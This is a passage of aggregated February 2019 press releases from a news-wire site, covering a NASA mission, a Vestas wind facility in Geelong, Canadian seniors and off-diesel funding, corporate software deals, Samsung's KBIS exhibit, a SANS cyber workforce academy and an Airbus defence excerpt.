The mission's principal investigator is James Bock of the California Institute of Technology (Caltech) in Pasadena, California. Caltech will work with NASA's Jet Propulsion Laboratory (JPL) to develop the mission payload. JPL will also manage the mission. Ball Aerospace in Broomfield, Colorado, will provide the SPHEREx spacecraft and mission integration. The Korea Astronomy & Space Science Institute in Daejeon, Republic of Korea, will contribute test equipment and science analysis. NASA's Explorer program, managed by the agency's Goddard Space Flight Center in Greenbelt, Maryland, is the agency's oldest continuous program, designed to provide frequent, low-cost access to space using principal investigator-led space science investigations relevant to the Astrophysics and Heliophysics programs in NASA's Science Mission Directorate. The program has launched more than 90 missions, beginning in 1958 with Explorer 1, which discovered the Earth's radiation belts. Another Explorer mission, the Cosmic Background Explorer, which launched in 1989, led to a Nobel Prize. More information about the Explorer program is available online at: https://explorers.gsfc.nasa.gov View original content to download multimedia:http://www.prnewswire.com/news-releases/nasa-selects-new-mission-to-explore-origins-of-universe-300795389.html SOURCE NASA

[ Back To TMCnet.com's Homepage ][February 13, 2019] Vestas partners with local manufacturing service provider for Wind Turbine Assembly Facility in Geelong

MELBOURNE, Australia, Feb. 14, 2019 /PRNewswire/ -- Global sustainable energy solutions provider Vestas today entered a partnership with Geelong-based manufacturing company, Marand Precision Engineering (Marand), for its new wind turbine manufacturing facility in Geelong. The partnership will allow Vestas to bring its world-class wind turbine assembly and testing capabilities to Victoria, thereby supporting and expanding the Victorian renewable energy sector. Located at the former Ford Motor manufacturing site on the Princes Highway in Geelong, the facility is part of the Vestas Renewable Energy Hub (the Hub), a multi-disciplinary industry development initiative designed to support the Victorian Renewable Energy Target and Victoria's New Energy Technologies strategy. The facility will be responsible for making 4MW Drivetrains and Hubs and component testing for the Dundonnell Wind Farm and Berrybank Wind Farm projects, both of which were successful in the first Auction under the Victorian Renewable Energy Target. The facility will also support future wind projects in Australia. "Vestas is committed to building new skills in the local work force in Geelong, and with our wind turbine component assembly and testing capability, we are helping build on Geelong's background as a heavy manufacturing hub and use that to establish a renewable energy hub," said Clive Turton, Vestas Asia Pacific President. "In Marand, we are partnering with an experienced manufacturing service provider with outstanding capabilities and skilled personnel. Their experience in automotive, aerospace, defence and rail industries meets all of our requirements around quality and technical expertise." Established in 1969, Marand is one of the largest manufacturing workshops in Australia. Under the agreement, Marand will supply facility space, personnel and equipment to meet Vestas' manufacturing requirements. Vestas will provide testing equipment, assembly line layout, production training andsupervision, and transportation of all components to the assembly area.



"We look forward to this strategic partnership with Vestas," said Marand CEO Rohan Stocker. "Marand has decades of experience across a variety of industries, where our manufacturing expertise and business systems truly set us apart from our competitors. We look forward to adding value to the renewable industry, and this partnership will greatly help us expand our capability in this growing field. We are particularly proud to be able to carry out this work in the former Ford Geelong facility." Dundonnell Wind Farm owner Tilt Renewables and Berrybank Wind Farm project developer/owner Global Power Generation (GPG) (the international electricity generation subsidiary of Naturgy Energy Group) welcomed the announcement.

Chief Executive of Tilt Renewables, Deion Campbell, said that the Dundonnell Wind Farm is helping to drive the boom in new jobs in the renewable sector and accelerate the move toward a more sustainable, reliable and affordable energy future. "As the largest customer of the new Renewable Energy Hub, Tilt Renewables is very pleased to be contributing to the creation of new jobs and training opportunities for people in the City of Geelong and south-west Victoria," said Mr Campbell. GPG also indicated its support for the Vestas Renewable Energy Hub as part of its Local Investment Plan, committed under the long-term power purchase agreement in the VRET 2017 Reverse Auction. In addition to the wind turbine assembly facility, the Hub also includes four other initiatives: 1. Establishing the Western Victorian Service Support Centre to service the growing Vestas turbine fleet in Western Victoria; 2. Entering into a multi-year partnership with Federation University's Ballarat Renewable Training Centre to deliver training and employment opportunities for wind turbine technicians; 3. Establishing the Vestas Australian Main Component Logistics Centre in Geelong, a specialist facility for the largest turbine spare parts; 4. Forming a partnership with Deakin University's Carbon Nexus to research the next generation carbon fibre to use in making wind turbine blades longer, stronger and more productive. About Vestas Vestas is the energy industry's global partner on sustainable energy solutions. We design, manufacture, install, and service wind turbines across the globe, and with 101 GW of wind turbines in 80 countries, we have installed more wind power than anyone else. Through our industry-leading smart data capabilities and 86 GW of wind turbines under service, we use data to interpret, forecast, and exploit wind resources and deliver best-in-class wind power solutions. Together with our customers, Vestas' more than 24,600 employees are bringing the world sustainable energy solutions to power a bright future. For updated Vestas photographs and videos, please visit our media images page on:

https://www.vestas.com/en/media/images. We invite you to learn more about Vestas by visiting our website at www.vestas.com and following us on our social media channels: www.twitter.com/vestas

www.linkedin.com/company/vestas

www.facebook.com/vestas

www.instagram.com/vestas

www.youtube.com/vestas SOURCE Vestas

[ Back To TMCnet.com's Homepage ][February 13, 2019] Minister Tassi wraps up successful visit to British Columbia to announce funding for projects that keep seniors active in their communities

VANCOUVER, Feb. 13, 2019 /CNW/ - Seniors make significant and valuable contributions to their families, communities and work places. They helped build our nation and continue to contribute to its success. This is why the Government of Canada is committed to providing Canadian seniors with greater security and a better quality of life. Today, the Honourable Filomena Tassi, Minister of Seniors, wrapped up a successful visit to British Columbia where she met with seniors, partners and other key stakeholders to hear about issues important to older Canadians. During her discussions, the Minister encouraged seniors to stay active, engaged, and informed and highlighted a number of measures the Government of Canada has taken to improve their social and economic well-being. A key highlight of Minister Tassi's trip was during an event earlier today with the United Way of Lower Mainland, which has received $50,000 in support through Canada's New Horizons for Seniors Program (NHSP), pan-Canadian stream, to help develop an interactive online platform named CORE (Collaborative Online Resources and Education). The goal of CORE is to help build capacity and increase collaboration among organizations and individuals providing community-based services for seniors in British Columbia, and help match senior volunteers with volunteer opportunities in their community. During the event, Minister Tassi underscored the importance of working together with communities and local organizations to better support seniors. With this in mind, she announced an investment of close to $5 million in NHSP funding to support 265 community-based projects across British Columbi this year, that will help seniors across BC stay informed, engaged and connected with their communities.



Quotes "The Government of Canada deeply values the contribution seniors make to our country. We know that when seniors can fully participate in society, everybody benefits. By supporting projects through the New Horizons for Seniors Program, we are taking action to ensure that seniors have a strong and active presence, are encouraged to remain involved in their communities and receive the recognition, respect and support that they deserve."

 The Honourable Filomena Tassi, Minister of Seniors

"Entire communities must be a part of supporting their residents to live well, at home, for as long as possible, regardless of their age. We're honoured to host Minister Tassi and share how we're developing innovative, community-wide supports for seniors across B.C."

 Kahir Lalji, Director of Healthy Aging, Provincial Initiatives and Government Relations at United Way of the Lower Mainland. Quick Facts Seniors are the fastest-growing demographic group in Canada . By 2030, the number of seniors will reach 9.6 million people, representing close to one quarter of Canada's population. Canadians' life expectancy is expected to continue risingCanadian men and women born in 2016 will live on average to age 87 and 90, respectively

. By 2030, the number of seniors will reach 9.6 million people, representing close to one quarter of population. Canadians' life expectancy is expected to continue risingCanadian men and women born in 2016 will live on average to age 87 and 90, respectively The NHSP fosters social inclusion and the engagement of seniors by encouraging them to share their knowledge, skills and experiences to the benefit of others through projects that make a difference in the lives of seniors and their communities. The NHSP has two funding streams for community-based projects and pan-Canadian projects.

Community-based projects are eligible to receive up to $25,000 in grant funding and, as of this year, up to $5,000 in new small grants funding for organizations that have not received funding within the last five years.

in grant funding and, as of this year, up to in new small grants funding for organizations that have not received funding within the last five years. Community-based project funding supports activities that engage seniors and address one or more of the program's five objectives: volunteering, mentoring, expanding awareness of elder abuse, social participation and capital assistance.

Pan-Canadian project funding supports multi-year projects using collaborative and innovative approaches to increase the social inclusion of seniors. Related Products Backgrounder: New Horizons for Seniors Program

Backgrounder: Providing seniors in Canada with greater security and a better quality of life Associated Link New Horizons for Seniors Program  Engaging Seniors, Strengthening Communities SOURCE Employment and Social Development Canada

[ Back To TMCnet.com's Homepage ][February 13, 2019] Commonwealth Financial Network's Advisor360 Licenses Its 360 Software to MassMutual

Commonwealth Financial Network, the nation's largest privately held Registered Investment Adviser-independent broker/dealer, announced today that its new stand-alone technology company, Advisor360, has entered into a licensing agreement with Massachusetts Mutual Life Insurance Co. (MassMutual), making available the Advisor360 suite of software tools to MassMutual's advisors and field partners. The Advisor360 suite comprises Client360, which integrates portfolio, trade, contact, document, and wealth management in a single intuitive platform, giving financial advisors a truly comprehensive and interactive view of each client's financial life; Practice360, which delivers a single, powerful dashboard for streamlined practice-wide operations, workflow, and analytics; and Investor360, which clients can use to holistically see their complete financial picture. "We could not be more thrilled with this agreement, as it represents a win for all involved," said Wayne Bloom, Commonwealth CEO. "We've been investing in and evolving our technology, in collaboration with our advisors, for more than 15 years, and it is so gratifying to know that a firm of the caliber of MassMutual wants to use it to help its own advisors." Bloom continued, "Most important, the agreement with MassMutual will enable us to accelerate the pace of our software development and ensure that our advisors' tools remain on the cutting edge of what today's-and tomorrow's-top financial advisors need to thrive." From a service standpoint, both Commonwealth and MassMutual will maintain their existing service arms, and Bloom noted that the firm's high-touch IT HelpDesk, as well as the 700+ employees who provide investment research, practice management consulting, compliance, operations, marketing, anda range of other support services, will remain exclusively devoted to Commonwealth's own advisors.



"We are excited to be able to offer the 360 suite-and the operational efficiencies and client-service advantages it provides MassMutual," added John Vaccaro, head of MassMutual Financial Advisors. "The high-quality, deeply integrated end-to-end Advisor360 software will provide immense value to our advisors and, importantly, our clients." About Commonwealth Financial Network

Founded in 1979, Commonwealth Financial Network, member FINRA/SIPC, is the nation's largest privately held Registered Investment Adviser-independent broker/dealer, with headquarters in Waltham, Massachusetts, and San Diego, California. J.D. Power ranks Commonwealth "Highest in Independent Advisor Satisfaction Among Financial Investment Firms, Five Times in a Row." The firm supports approximately 1,950 independent financial advisors nationwide. For more information, please visit www.commonwealth.com.

Commonwealth received the highest score in the independent advisor segment of the J.D. Power 2010, 2012, 2013, 2014, and 2018 Financial Advisor Satisfaction Studies of customers' satisfaction among financial advisors. Visit jdpower.com/awards. Join Our Community:

https://twitter.com/CommonwealthFN

https://www.facebook.com/CommonwealthFinancialNetwork

https://www.linkedin.com/company/commonwealth-financial-network

https://blog.commonwealth.com/ View source version on businesswire.com: https://www.businesswire.com/news/home/20190213005833/en/

[ Back To TMCnet.com's Homepage ][February 13, 2019] Sealed Air Announces Upcoming Events with the Financial Community

Sealed Air Corporation (NYSE:SEE) announced today that it will participate in the following events with the financial community. Barclays Industrial Select Conference

February 21, 2019

Miami, Fla.

10:55 a.m. ET

Ted Doheny, President and CEO

Bill Stiehl, Senior Vice President and Chief Financial Officer Barclays Industrial Select Conference will be webcast live. Interested parties can view the event at www.sealedair.com/investors. JP Morgan (News - Alert) Global High Yield & Leveraged Finance Conference

February 26, 2019

Miami, Fla.

Bill Stiehl, Senior Vice President and Chief Financial Officer About Sealed Air Sealed Air partners with customers to solve their most critical packaging challenges with innovative solutions that leave our world, environment, and communities better than we found them. Our portfolio of widely recognized brands includes Cryovac food packaging and Bubble Wrap protective packaging which respectively enable a safer, more efficient food supply chain and protect valuable goods shipped around the world. Sealed Air generated $4.7 billion in sales in 2018 and has approximately 15,500 employees who serve customers in 123 countries. To learn more, visit www.sealedair.com. Website Information We routinely post important information for investors on our website, www.sealedair.com, in the Investors section. We use this website as a means of disclosing material, non-public information and for complying with our disclosure obligations under Regulation FD. Accordingly, investors should monitor the Investors section of our website, in addition to following our press releases, SEC (News - Alert) filings, public conference calls, presentations and webcasts. The information contained on, or that may be accessed through, our website is not incorporated by reference into, and is not a part of, this document.



Forward-Looking Statements This press release contains "forward-looking statements" within the meaning of the safe harbor provisions of the Private Securities Litigation Reform Act of 1995 concerning our business, consolidated financial condition and results of operations. Forward-looking statements are subject to risks and uncertainties, many of which are outside our control, which could cause actual results to differ materially from these statements. Therefore, you should not rely on any of these forward-looking statements. Forward-looking statements can be identified by such words as "anticipate," "believe," "plan," "assume," "could," "should," "estimate," "expect," "intend," "potential," "seek," "predict," "may," "will" and similar references to future periods. All statements other than statements of historical facts included in this press release regarding our strategies, prospects, financial condition, operations, costs, plans and objectives are forward-looking statements. Examples of forward-looking statements include, among others, statements we make regarding expected future operating results, expectations regarding the results of restructuring and other programs, anticipated levels of capital expenditures and expectations of the effect on our financial condition of claims, litigation, environmental costs, contingent liabilities and governmental and regulatory investigations and proceedings. The following are important factors that we believe could cause actual results to differ materially from those in our forward-looking statements: global economic and political conditions, currency translation and devaluation effects, changes in raw material pricing and availability, competitive conditions, the success of new product offerings, consumer preferences, the effects of animal and food-related health issues, pandemics, changes in energy costs, environmental matters, the success of our restructuring activities, the success of our financial growth, profitability, cash generation and manufacturing strategies and our cost reduction and productivity efforts, changes in our credit ratings, the tax benefit associated with the Settlement agreement (as defined in our 2017 Annual Report on Form 10-K), regulatory actions and legal matters, and the other information referenced in the "Risk Factors" section appearing in our most recent Annual Report on Form 10-K, as filed with the Securities and Exchange Commission, and as revised and updated by our Quarterly Reports on Form 10-Q and Current Reports on Form 8-K. Any forward-looking statement made by us is based only on information currently available to us and speaks only as of the date on which it is made. We undertake no obligation to publicly update any forward-looking statement, whether written or oral, that may be made from time to time, whether as a result of new information, future developments or otherwise.

View source version on businesswire.com: https://www.businesswire.com/news/home/20190213005819/en/

[ Back To TMCnet.com's Homepage ][February 13, 2019] Canada Launches Off-Diesel Initiative for Remote Indigenous Communities

WHITEHORSE, Feb. 13, 2019 /CNW/ - Canada is home to hundreds of rural and remote Indigenous communities. As we build a cleaner energy future, we are helping communities across Canada reduce their reliance on diesel and move toward renewable sources of energy. By working together, we can cut pollution, clean our air and create local jobs in Indigenous communities. The Honourable Amarjeet Sohi, Canada's Minister of Natural Resources, today announced a $20-million initiative aimed at reducing diesel reliance in remote Indigenous communities. Developed in collaboration with Indigenous Clean Energy Social Enterprise (ICE SE) and the Pembina Institute, the Generating New Opportunities: Indigenous Off-diesel Initiative will help communities move away from using diesel by developing cleaner community-led energy projects. A distinguished, all-Indigenous panel of jurors will select up to fifteen communities to receive hands-on support and up to $1.3 million in funding to develop their community-driven energy plan over the next three years. At the end, leading communities will receive an additional two years of funding (total of up to $9 million available to support several community projects) from Natural Resources Canada's Clean Energy for Rural and Remote Communities (CERRC) program to move their clean energy project forward. This initiative builds on over $700 million already committed to help rural and remote communities get off diesel. For more details on how to become a clean energy champion for your community, please visit https://impact.canada.ca/en/challenges/off-diesel. Quick Facts The Generating New Opportunities: Indigenous Off-diesel Initiative incorporated feedback from signifiant engagement over the last 18 months, including from regional and National Indigenous Organizations, and remote community representatives.

incorporated feedback from signifiant engagement over the last 18 months, including from regional and National Indigenous Organizations, and remote community representatives. This is the fifth challenge/initiative under the $75-million Cleantech Impact Canada Initiative, which is helping drive innovation and clean growth across Canada .

Cleantech Impact Canada Initiative, which is helping drive innovation and clean growth across . Diesel fuel, though reliable, has negative environmental, social and economic impacts in northern and remote communities. Investing in clean energy to reduce reliance on diesel can support Indigenous communities leading the way to a clean energy future and makes a small but meaningful contribution to self-determination.



Quotes "Moving away from diesel means less pollution, cleaner air, lower energy costs, and local job opportunities. We are proud to partner with Indigenous communities as they develop innovative clean energy projects that will have benefits for generations to come."

- The Honourable Amarjeet Sohi

Canada's Minister of Natural Resources

"This initiative will reduce the environmental, social and economic impacts of diesel reliance, provide economic opportunities, and enable Indigenous communities to harness cleaner energy."

- The Honourable Dominic LeBlanc, P.C., Q.C., M.P.

Minister of Intergovernmental and Northern Affairs and Internal Trade

"Impact Canada rewards the best ideas and focuses on achieving stronger social, environmental, and economic outcomes for citizens. I look forward to learning more about the grassroots, community-driven projects that will generate innovative solutions to one of the biggest challenges facing Canada's remote communities."

- The Honourable Karina Gould

Minister of Democratic Institutions "Indigenous communities need to be the leaders in the transition away from diesel to a cleaner, more resilient energy future. Reduction in fossil fuels through innovative clean energy projects will create a more secure energy future for communities, and aid in the fight against climate change. The Indigenous Clean Energy Social Enterprise is pleased to be leading the capacity-building initiatives for this worthwhile initiative."

- Chris Henderson, Clean Energy Advisor

Indigenous Clean Energy Social Enterprise

"The Pembina Institute is pleased to support this capacity building program for communities as they transition away from diesel dependency. Our role in the Initiative centers on defining, supporting and enabling leading climate and energy policies by working with Indigenous, provincial, and territorial governments, utilities and regulators to help break down systemic policy barriers that have restricted community-driven and owned renewable energy projects in the past."

- Dave Lovekin, Director, Renewables in Remote Communities

Pembina Institute Associated Links Impact Canada

Indigenous Clean Energy Social Enterprise (ICE SE)

Pembina Institute

Natural Resources Canada's Clean Energy for Rural and Remote Communities (CERRC) program Follow us on Twitter: @NRCan (http://twitter.com/nrcan)

NRCan's news releases and backgrounders are available at www.news.gc.ca. SOURCE Natural Resources Canada

[ Back To TMCnet.com's Homepage ][February 13, 2019] Samsung's Expanded Investment in Home Builder Industry Will Be on Display at KBIS 2019

Samsung (News - Alert) Electronics Co., Ltd. today announced a significantly expanded presence at the 2019 Kitchen & Bath Industry Show (KBIS) February 19-21, underscoring the company's investment in the US home builder industry. Samsung's exhibit, which will be located in Booth #C6716 at the Las Vegas Convention Center (LVCC), will feature 11,200 square feet of interaction and education to support the building industry's success in 2019 and beyond. The booth, Samsung's biggest presence ever at KBIS, will measure over 8,000 square feet larger than last year's. A Connected Living environment will highlight the company's growing eco-system of smart home innovations, while the Family Hub Theater will showcase advancements in Samsung's award-winning connected refrigerator. Other booth sections will spotlight the company's leadership in on-trend design, its Chef Collection line of premium appliances, and design and innovations in laundry. Also on display will be Samsung's comprehensive assortment of kitchen and laundry packages, offering a wide variety of options to customize the kitchen and laundry room for any new home or apartment. The multiple kitchen packages will include built-ins, new handle designs, range-focused selections (slide-in and built-in), and base packages. "Samsung's KBIS presence reflects our strategic investment in the home building, remodeling and property management industries. In a rapidly changing housing marke, builders need a partner that understands a new generation of technology-savvy home buyers and apartment renters," said Tom Halford, Vice President, Premium and Builder Brands at Samsung Electronics America. "With our global reach, deep category experience, and investment in R & D, no one knows the market better than Samsung. We help builders convert prospects into closings while setting them up for long-term success."



Samsung's commitment to the home builder industry is stronger than ever. In addition to having the broadest line of home appliances and a dedicated workforce to exclusively serve the builder market, Samsung offers builders a dedicated national builder sales and marketing organization, and a national distribution network. Other elements of its builders program include channel exclusive products, a 48-hour turnaround on quotes, exceptional service support during pre- and post-close purchase phases, industry leading warranty programs, and Samsung's Friends and Fans affinity program. To broaden its builder presence in key U.S. markets, Samsung recently opened Home Showcase Showrooms in two leading home building markets, Atlanta and Dallas. These showrooms will give builders, designers and distributors the tools, insights and products to help take their businesses to the next level by showcasing Samsung's innovations and design.

Samsung's new product innovations will be available this spring. For more information about Samsung Home Appliances and Connected Living, please visit www.samsungbuilder.com. About Samsung Electronics Co., Ltd. Samsung inspires the world and shapes the future with transformative ideas and technologies. The company is redefining the worlds of TVs, smartphones, wearable devices, tablets, digital appliances, network systems, and memory, system LSI foundry and LED solutions. For the latest news, please visit the Samsung Newsroom at http://news.samsung.com. View source version on businesswire.com: https://www.businesswire.com/news/home/20190213005688/en/

[ Back To TMCnet.com's Homepage ][February 13, 2019] Channel Bakers, Leading Amazon Ad Agency, Marked Significant Momentum in 2018

Channel Bakers, an advertising and marketing agency operating exclusively on Amazon's advertising platform, today announced its tremendous success in 2018 and continued momentum heading into 2019. The company experienced a 50% growth in revenue YOY and tripled its employee headcount, while also doubling the number of Amazon ad campaigns and executed more than 20,000 campaigns on behalf of clients across consumer packaged goods, electronics, and apparel sector. Since its launch in 2015, Channel Bakers has managed more than $60 million in Amazon ad spend and driven more than half a billion dollars in sales on the platform. "Amazon advertising has experienced rapid growth as many brands are beginning to leverage Amazon not just as a retail partner, but also as an ad platform that rivals Google (News - Alert) and Facebook," said Channel Bakers founder and CEO Joshua Kreitzer. "We're excited to be at the forefront of this shift in the advertising industry. Everything we're doing as a company is built around moving the needle for innovative brands on Amazon today." Working closely with Amazon leadership, Kreitzer was the only non-Amazon employee guest speaker at the first Annual Consumer Electronics Vendor Marketing Summit where C-suite executives for more than 100 of the world's largest brands were in attendance. In 2018, Channel Bakers received a number of certifications, which included having all advertising employees accredited on the Amazon Advertising console. The company continues to innovate new tactics on Amazon that demonstrate consistent performance that over-indexes the average in their client's respective product categories. Channel Bakers was also among the first agencies to pilot the Amazon Brand Store platform. It has since been credited i a recent Amazon Case Study featuring Samsung (News - Alert) on best in class strategies with Brand Stores.



As Amazon continues its rapid growth, the Channel Bakers team has also grown to keep up with client demand. In 2018 the company further expanded its service offerings with a new creative and digital departments and bolstered its executive leadership team with key hires. To help manage this expansion, Channel Bakers named Lionel Garcia as President early in 2018 to strengthen their existing infrastructure and establish a firm foundation for future growth and scale through process improvement. With more than 19 years of leadership experience in eCommerce, Garcia was most recently a lead consultant at Sprosty Network where he primarily worked with clients on digital strategy, merchant processes, and retail best practices. Prior to that, he served as the head merchant in an omni-channel retail environment where he managed a $1.6 billion portfolio and gained first hand knowledge of how digital marketing impacts all sales channels.

In addition to team growth and leadership, Garcia's focus has been building new capabilities and efficiencies to better serve clients. This includes the launch of a new creative department lead by the newly hired director of creative services, Brad Malm, an award-winning graphic designer with more than 15-years-experience in digital and print media. The creative team has created over 600 image galleries, Brand stores, Custom landing pages, detail page optimization, and A+ premium content pages since launch. Other key 2018 hires included Ken Curry as Director of Strategic Accounts as well as Chris Geiger who will be leading Channel Baker's engineering team. Geiger's team is responsible for the technology that not only automates analysis of Amazon provided data, but integrates it with the strategy and creative teams at Channel Bakers to provide a unique, full service solutions suite. "We are excited about our future being an Amazon agency partner as they continue to expand advertising products within their console and gain share in the advertising industry. As we continue to grow and invest in our people and technology we will be able to generate more actionable insights and develop innovative tactics that ultimately deliver the best possible strategy to optimize results for the brands we work with," said Kreitzer. In early 2019, Channel Bakers also expanded its presence in the Southern California region with a new 13,000-square-foot office in Anaheim Hills, which is triple the size of the former space. The company also recently named SourceCode Communications its PR Agency of Record to help the company further solidify its presence as a leader in the Amazon Ad space. About Channel Bakers: Founded as the first agency purely focused on Amazon Advertising in 2015 by CEO Joshua Kreitzer, Channel Bakers is a full-service, global agency with a core tenet of helping brands find the right audience at the right time to tell their story and drive sales. The company utilizes its decades of experience leveraging data and analytics to grow revenue within specific retailers and verticals. With this strategy Channel Bakers has helped clients, including Samsung become top brands on the Amazon platform. Channel Bakers is fully accredited and certified by Amazon as an advertising partner. For more information, visit www.channelbakers.com. View source version on businesswire.com: https://www.businesswire.com/news/home/20190213005595/en/

[ Back To TMCnet.com's Homepage ][February 13, 2019] SANS Cyber Workforce Academy - Maryland Announces 2018 Success And 2019 Schedule

BETHESDA, Md., Feb. 13, 2019 /PRNewswire/ -- At a time when the talent shortage in cybersecurity continues to challenge employers and individuals have difficulty finding a pathway into critical cyber jobs, the State of Maryland has found a solution that works Employment Advancement Right Now (EARN). EARN is a grant program of the Maryland Department of Labor, Licensing and Regulation (DLLR). SANS Institute, the world's leading provider of cybersecurity training and certification, is pleased to announce the success of the Cyber Workforce Academy  Maryland (Academy) in 2018 and launch of applications for 2019 slots. The Academy is a program funded in part by EARN and a strategic partnership of SANS, USO of Metropolitan Washington  Baltimore, Women's Society of Cyberjutsu, Goodwill Industries of the Chesapeake, and seventeen employers in the region. EARN helps Maryland residents such as Yesi Flores, a veteran from Montgomery County. Yesi was making $12 an hour as a produce clerk when he enrolled in the Academy. The program enabled him to develop new skills and earn two industry-recognized GIAC certifications that are highly valued by employers. Upon his successful graduation from the Academy, Yesi secured a job as a SOC analyst, nearly tripling his previous income. Yesi's natural talent, his passion for learning, and his professionalism will help him continue to take on more responsibility and build a great career in cybersecurity. Building on the success of Academy graduates in 2018, at least four Academies are planned for 2019 and applications are currently being accepted at https://www.sans.org/cybertalent/cyber-workforce-academy-maryland. For graduates like Amy Riley, the program provided an opportunity to re-enter the workforce and change careers. She is now a Systems Engineer for Network Security at GEICO. "I spent 12 years as a stay-at-home mom with various part-time jobs. Prior to being a stay-at-home mom, I worked in the IT field as a Unix Engineer. The SANS Cyber Workforce Academy was a great way to learn about today's cyber technology. The fast-paced courses brought me up to speed with current industry technology. The instructors, materials and labs all worked together to provide a comrehensive study of where cyber technology is today. The GIAC certifications earned, GSEC and GCIH, allowed me to reenter the workforce in stride," shares Amy.



In 2018, nearly 1,100 individuals applied for the Academy. Applicants were invited to take an Aptitude assessment and based on performance were invited to complete an interview as well. 58 students were selected for participation and started in six different cohorts throughout the year. 19 have already secured employment in cybersecurity and another 14 have recently graduated and are currently seeking employment, with another 22 currently in training. This year the program will enroll at least another 25 students to fill the region's cybersecurity jobs, with the potential for dozens more. The Academy provides students with no prior cybersecurity experience with hands-on technical training, ANSI-accredited industry certifications and skills increasingly sought by Maryland employers. All Academy students are provided full scholarships and receive two SANS training courses taught by expert faculty as well as the associated GIAC Certifications. Academy graduates are introduced to seventeen employer partners such as CACI, Grant Thornton, GEICO, Thermo Fisher Scientific, IronNet Cybersecurity, Halfaker & Associates, ALTA IT Services, Aerstone, Intellidyne, Dataprise, PLEX Solutions, and more.

"The security industry is growing faster than the talent pipeline, and the Cyber Workforce Academy - Maryland gives us the opportunity to identify talent that we otherwise might not have found. Employers from around the state should definitely look toward programs like this as a way to expand their talent pool and find the next generation of talented and capable cybersecurity professionals," says Bryan Inagaki, Director, Cybersecurity Risk Management Corporate Information Security (CIS) Program, Thermo Fisher Scientific. If you are interested in a career in cybersecurity or would like to hire an Academy graduate, please visit https://www.sans.org/cybertalent/cyber-workforce-academy-maryland or contact immersionacademy@sans.org. About SANS Institute

The SANS Institute was established in 1989 as a cooperative research and education organization. SANS is the most trusted and, by far, the largest provider of cyber security training and certification to professionals at governments and commercial institutions world-wide. Renowned SANS instructors teach over 60 different courses at more than 200 live cyber security training events as well as online. GIAC, an affiliate of the SANS Institute, validates a practitioner's qualifications via over 30 hands-on, technical certifications in cyber security. The SANS Technology Institute, a regionally accredited independent subsidiary, offers master's degrees in cyber security. SANS offers a myriad of free resources to the InfoSec community including consensus projects, research reports, and newsletters; it also operates the Internet's early warning system--the Internet Storm Center. At the heart of SANS are the many security practitioners, representing varied global organizations from corporations to universities, working together to help the entire information security community. (https://www.sans.org) View original content:http://www.prnewswire.com/news-releases/sans-cyber-workforce-academy---maryland-announces-2018-success-and-2019-schedule-300795096.html SOURCE SANS Institute

[ Back To TMCnet.com's Homepage ]Airbus Expects New Billion Orders from the Bundeswehr (excerpt)

(Source: Handelblatt; published Feb 13, 2019)

(Unofficial translation by Defense-Aerospace.com)

Germany will order new Eurofighters (foreground) to replace 33 early production aircraft, but Airbus is calling for Berlin to also award a much bigger order to replace 85 Tornado strike aircraft (background) as a sign of national sovereignty. (Luftwaffe photo)

MUNICH --- When Airbus presents its 2018 balance sheet on Thursday, the sales figures of passenger planes will be in the foreground. For years, military jets have been regarded as back store goods, for which Europe has little money.But that could change soon. Airbus expects new billion-euro orders from Germany. Specifically, the Bundeswehr plans to replace 33 older (Tranche 1) Eurofighters with more modern models of the Airbus fighter. In addition, the Air Force is also looking for a successor to 85 Tornado jets that could carry American nuclear weapons in an emergency."It would be a sovereign signal to transfer this role to Eurofighter, Airbus Defence and Space Chief Executive Dirk Hoke told Handelsblatt. At the moment, however, the Ministry of Defense is also examining a parallel purchase of the Boeing F-18. Overall, it adds up to a contract volume of over ten billion euros. Hoke calls on Europe's governments to make an industrial policy decision in favor of European technology.In any case, Airbus plans to invest massively in the next generation of military technology. Just last week, the Group agreed with Dassault the development of a new fighter jet (FCAS), which should be operational from 2040. So far, Eurofighter (Airbus) and the Rafale (Dassault) are competing on the world market.The new aircraft is envisioned flying with swarms of drones, supported by Artificial Intelligence. Hoke also hopes for BAE Systems. The British have much expertise in the development of fighter jets, but are still waiting for the outcome of the Brexit. "Developing a system like the FCAS without the British being extremely dangerous," Hoke says.-ends-[February 13, 2019] Commonwealth Bank of Australia selects Beacon Platform, Inc. for trading analytics

Beacon Platform, Inc., a leading provider of cloud-based financial technology platforms, announced today that Commonwealth Bank has selected Beacon as the new developer platform for the Quantitative Solutions Group, a part of the Global Markets business within the Institutional Banking and Markets division. The Beacon platform will be deployed to dozens of developers and hundreds of business users across multiple asset classes (Foreign Exchange, Fixed Income, Commodities, and Derivatives) globally, allowing CBA to provide best-in-class service to institutional clients with substantial improvements in operational efficiency. Commenting on the selection of the Beacon platform, Ryo Shimizu, head of Asia-Pacific, Beacon Platform, Inc., said, "It's been an honor to work with CBA's exceptional Quantitative Solutions team. Having helped many clients securely transition to the cloud, we are excited to be a part of CBA's next-generation One Cloud initiative and help Global Markets achieve their goals." Kirat Singh, CEO, Beacon Platform, Inc., added, "We are tremendously proud that CBA selected Beacon as their quant developer platform. We look forward to a long and successful business partnership that will benefit both CBA and its clients." Beacon recently presented its award-winning platform at Finovate Asia and Fintech Taipei. With a regional office in Tokyo as well as offics in New York and London, Beacon's new partnership with CBA affirms the company as a leading provider of cloud-based financial technology platforms in the Asia-Pacific region and globally.



About Beacon Platform, Inc. Beacon is revolutionizing the financial services industry by empowering our clients' quantitative developer teams and business users like no other platform provider. With the Beacon platform, financial institutions of all sizes can leverage our 20+ years of experience in building enterprise-scale trading, analytics, and risk management platforms at some of the most successful financial institutions in the world. In addition to applications for front and middle office users, the Beacon platform includes cloud-based, secure sandbox infrastructure, a full suite of developer tools, and transparent source code to give our clients unparalleled power to own the full stack and achieve their business goals. Beacon was founded in 2014 by the senior technologists who worked with SecDB at Goldman Sachs and created Athena at JP Morgan (News - Alert) and Quartz at Bank of America Merrill Lynch. Beacon has over 70 employees with offices in New York, London, and Tokyo. www.beacon.io

About Commonwealth Bank's Institutional Banking and Markets As Australia's largest bank we take pride in helping the nation's leading companies maintain their competitive edge. At home or globally, our dedicated teams specialise in finding client-centric solutions and strategies that help maximise shareholder value across a wide range of industries. Our offices are strategically positioned in New Zealand, Asia, Europe and North America to help our clients capitalise on trade opportunities while managing risk in a rapidly changing business environment. www.commbank.com.au/institutional View source version on businesswire.com: https://www.businesswire.com/news/home/20190213005043/en/

[ Back To TMCnet.com's Homepage ][February 13, 2019] TABB Group Acquires Securities Operations Forum from The Summit Group, Launches TABB Training

